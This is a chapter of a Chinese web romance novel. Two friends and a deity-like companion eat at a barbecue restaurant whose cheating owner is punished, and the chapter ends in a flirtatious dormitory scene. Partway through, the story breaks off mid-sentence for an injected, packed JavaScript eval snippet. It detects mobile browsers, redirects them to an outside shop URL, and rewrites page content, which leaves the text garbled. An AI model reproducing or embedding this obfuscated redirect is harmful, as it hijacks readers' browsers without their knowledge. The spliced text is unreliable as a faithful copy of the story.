早就听懂了,还和自己装不明白。 “咳。”溪白尴尬地清了清嗓子,“要不,就先玩到这吧。” “想问的东西都问完了?”顾弛还要专门说上这么一句,话里明显的笑音,出卖了他这句话背后刻意逗弄人的本意。 溪白面不改色地扭过脸。 “差不多。” 本想着是借着谢挚不能说话的特点,趁机让顾弛这个不坦诚的家伙尴尬一下的。 但没想到最终尴尬的人成了自己。 顾弛噙着笑意,摇头喝了口酒,才喝一半手里的杯子就被人抢了过去。 溪白咬着杯沿将剩下半杯抢了,发红的耳尖也不知是酒弄的还是什么,感受到旁边传来的目光,他仰头,将杯子里剩的半杯酒都灌了下去。 顾弛伸手拿过溪白面前的酒,“那我喝这杯。” 看着突然就交换了酒杯的两人。 谢挚:“…………我还在这里!” 能不能尊重我一下! “咳咳。”溪白不好意思地咳嗽了一下,夹起一块五花放上烤盘,“快吃。” 后半程,谢挚几乎没怎么插上话。 顾弛和溪白总在说一些他听不懂的东西,他想要加入,却也找不到话头,于是只能沉默干饭。 神兽的食量是非常可怕的,何况还是一只将饱含的怨念转变为食欲的神兽。 当店里其他的客人走陆陆续续离开了,谢挚拿着菜单准备加第八次肉的时候,店铺的老板走了上来。 “那个,几位,抱歉。”老板搓着手,脸上堆满了笑容,“小店今天备的肉不够,刚刚那一批已经把剩下的量全上了……” “哦!”溪白这才注意到手边不知不觉已经堆了半米高的盘子了。 他看了一眼对面。 谢挚放下筷子,摸了摸没什么变化的腹肌,“吃饱了。” “那我们结账。”溪白说。 “诶诶好!”老板忙不迭地伸手,将这几尊大神请到了收银台。 溪白本来犹豫要不要出4个人的钱,毕竟他们确实吃的比较多。 但谢挚却坚决不同意。 “他开店自然要遵守规则,在我们这里亏了的,早已经在别的客人那里赚回来了。” 顾弛也点头表示同意谢挚的说法。 “世间因果,自有规律。” 行吧,既然两个神都发话了……溪白结了三人份的钱,和他们一起离开了。 几人一走,烤肉店里一个店员就担心地走到了收银台边。 “老板。”他十分狗腿地道,“这几个人真是饭桶,您怎么就这么放他们走了。” 溪白所不知道的是,他们后来选的这家烤肉店虽然用的是还不错的好肉,但是老板本身是个泼皮无赖,多年前曾经干过坏事进去过一段时间,后来放出来,就在这商业城里开了一家烤肉店。 食材倒是没什么问题,但他上菜的时候,同样的菜,他会刻意在前两轮上少一些,等客人吃得差不多了的后几轮,再刻意上大份。 反正烤肉这些东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036922|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,切一刀是大是小全凭随机,吃饱了还碰上后厨上了大份的,也没出说理去。 客人吃不完,就经常会被他强行征收一笔食物浪费的补偿费。 而有的客人吃的多了,他还会想方设法地多收餐费。 像现在,老板就嘲弄地笑着说了一句:“你懂什么。” 他点开收款后台,示意旁边的店员看。后者瞧了一眼数字, “我草,哥您收了两倍啊,那人没发现?”店员一脸崇拜地拍马屁。 老板哼了一声,摆出一副老神在在的语气,“现在的年轻人啊,刷付款码都不看数的……呵,也算是给他们上一课吧!” 两人正凑在一起满脸奸笑,突然就听见头顶一阵窸窸窣窣声。 声音还不小,都覆盖了他们的窃窃私语。 老板和店员对视了一眼。 -收银台后面放的是什么来着? -呃,好像是空了的酒瓶。 -…… -!!! 猛地回过头,两人看到的,是一片不知怎么就突然倒下来的哐当响的阴影。 身体像是被什么狠狠撞了一下,随后眼前便是一黑,模模糊糊间,只剩下其他店员闻讯赶来后看到现场的尖叫声。 “啊!老板头是不是被砸破了?” “我去!快叫救护车!” 溪白听见身后传来的喧闹声,刚回过头,就被顾弛搂着肩转了回来。 “妈呀,这得花多少好不容易赚来的黑心钱。”一旁背着手的谢挚在笑,摇头晃脑地来了一句,“嘻,大出血了啊~” 感受到溪白的注视,他摸了摸鼻子,傲然地道:“世间因果,自有规律。” 敢在獬豸面前耍坏心眼。 也不看看自己有几条命玩。 几人吃饱了又在附近转了转,才到下午四点。 但因为酒喝了不少,溪白已经有些晕坨坨的了,半边身体都靠在顾弛身上,下巴一点一点地打瞌睡。 看样子是逛不了了。 顾弛抬头,被他目光扫射了一番的谢挚立刻举起双手。 我走,我走还不行吗! “溪白,那我先走了。”谢挚打了声招呼。 溪白迷迷糊糊间还记得要保持礼貌,闻言猛然站直,“这么快就走啦?不去家里喝杯茶?要不吃个晚饭?” 中年人三连。 话刚说完,脑袋就被顾弛揉了揉。 「真可爱」 溪白歪头看自家男朋友,怎么又可爱了。 他做什么了? “没事,我回去了。”谢挚都不用看他表哥的眼神就给出了正确答案。 他和两人告了个别,很快就消失在了远处的人群之中。 顾弛带着人回了宿舍,把醉醺醺的溪白放在他那张很大的靠背椅上。 醉酒的人不宜洗澡,顾弛出阳台打了盆热水,用热毛巾给溪白擦手脚和身体。 溪白非常乖地坐着,擦脸的时候还眯起眼睛仰着脸,表情像一只乖巧被伺弄的猫咪。 顾弛给他擦干净,忍不住伸手在溪白软乎乎的脸蛋上轻轻掐了一把。 “唔!”溪白吃痛捂着脸。 “一会抱你上去睡觉。”顾弛将毛巾放回水盆里。 他端水盆打算去倒了,但被另一只手掌先一步抓住了手。 “听话,小醉猫。”顾弛搓了搓那软乎的手掌,哄道。 溪白似乎是努力理解了一下他的话,慢吞吞地放开顾弛的手腕,纤长的手指沿着脉门向下,滑过掌心,绕着顾弛修长有力的手指,一路到指尖。 他轻轻捏了捏顾弛的指尖,仰着脸,眼睛睁得圆溜溜的。 “那我在这等,你要快点回来哦。” 心口像是被重重撞了一下,顾弛的喉结上下滚动几番,带着明显克制的力道。 “嗯。” 这里有只黏人的小猫,他当然要很快回来。 溪白听见顾弛肯定的答案,才像是恋恋不舍地放开了手。 顾弛端起水盆大步流星地出了阳台,溪白看着那高大宽阔的背影,微微眯起了眼睛。 “宝宝……?” 顾弛清洗好毛巾和水盆,再回到房间的时候,刚刚还坐在靠背椅上的溪白,却不见了。 “宝宝?”他有些着急地又喊了一声。 身后突然传来动静,顾弛回身抬手,但手抬高到一半,感受到熟悉的气息的那一刻,他原本防身的动作,立刻转变成了拥抱。 伸手将人捞进怀里,顾弛忙不迭将整个人挂在自己身上的溪白托起。 手掌触碰到柔软而饱满的触感的那一刻,他的心脏明显漏掉一拍。 一片冰凉抵上了咽喉。 顾弛早已察觉到溪白的动作,但并没有任何的反抗,他目光落下,发现溪白的脸已经彻底被醉意浸透了,脸颊蓄着两团红云,一直蔓到耳根,眼睛带着点水光,眼尾也红红的,像是被欺负了一样。 而此时完全不知道自己这样子有多么诱人的溪白,正拿着一把钢尺抵在顾弛的脖子边上。 刚刚蹦起来的时候太激动了,现在脑袋有些晕乎乎的,他腾出另一只手搓了搓自己的脸。 “老实交代。”溪白对顾弛说,“你还有什么瞒着我的。” 未免自己不够凶残,他还刻意呲了呲牙。 “这是你最后的……” 话还没说完,溪白就觉得有什么东西在戳自己。 戳的还是软肉,弄得他怪不舒服的,溪白扭动了两下。 结果拿东西不仅变得更大了,而且还一跳一跳的。 “什么东西顶我……”溪白嘟囔着低头。 没等他看清,面前一阵天旋地转,等眩晕过后,他发现自己已经仰面在了桌子上。 顾弛站在桌边,居高临下地看着他,一只手搭在领口的扣子上。 修长的手指抵着扣沿,将扣子从洞口里挤出。 一颗,两颗,三颗……伴随着解放开后亮出来的漂亮胸腹肌,和溪白渐渐发直的眼神。 他俯身,手掌摸上溪白的脑袋,托起醉醺醺的少年的后脑勺。 同样带着几分醉意的嗓音,比往日更加低沉。 顾弛咬了咬溪白的耳垂。 “别看了。” “是我。”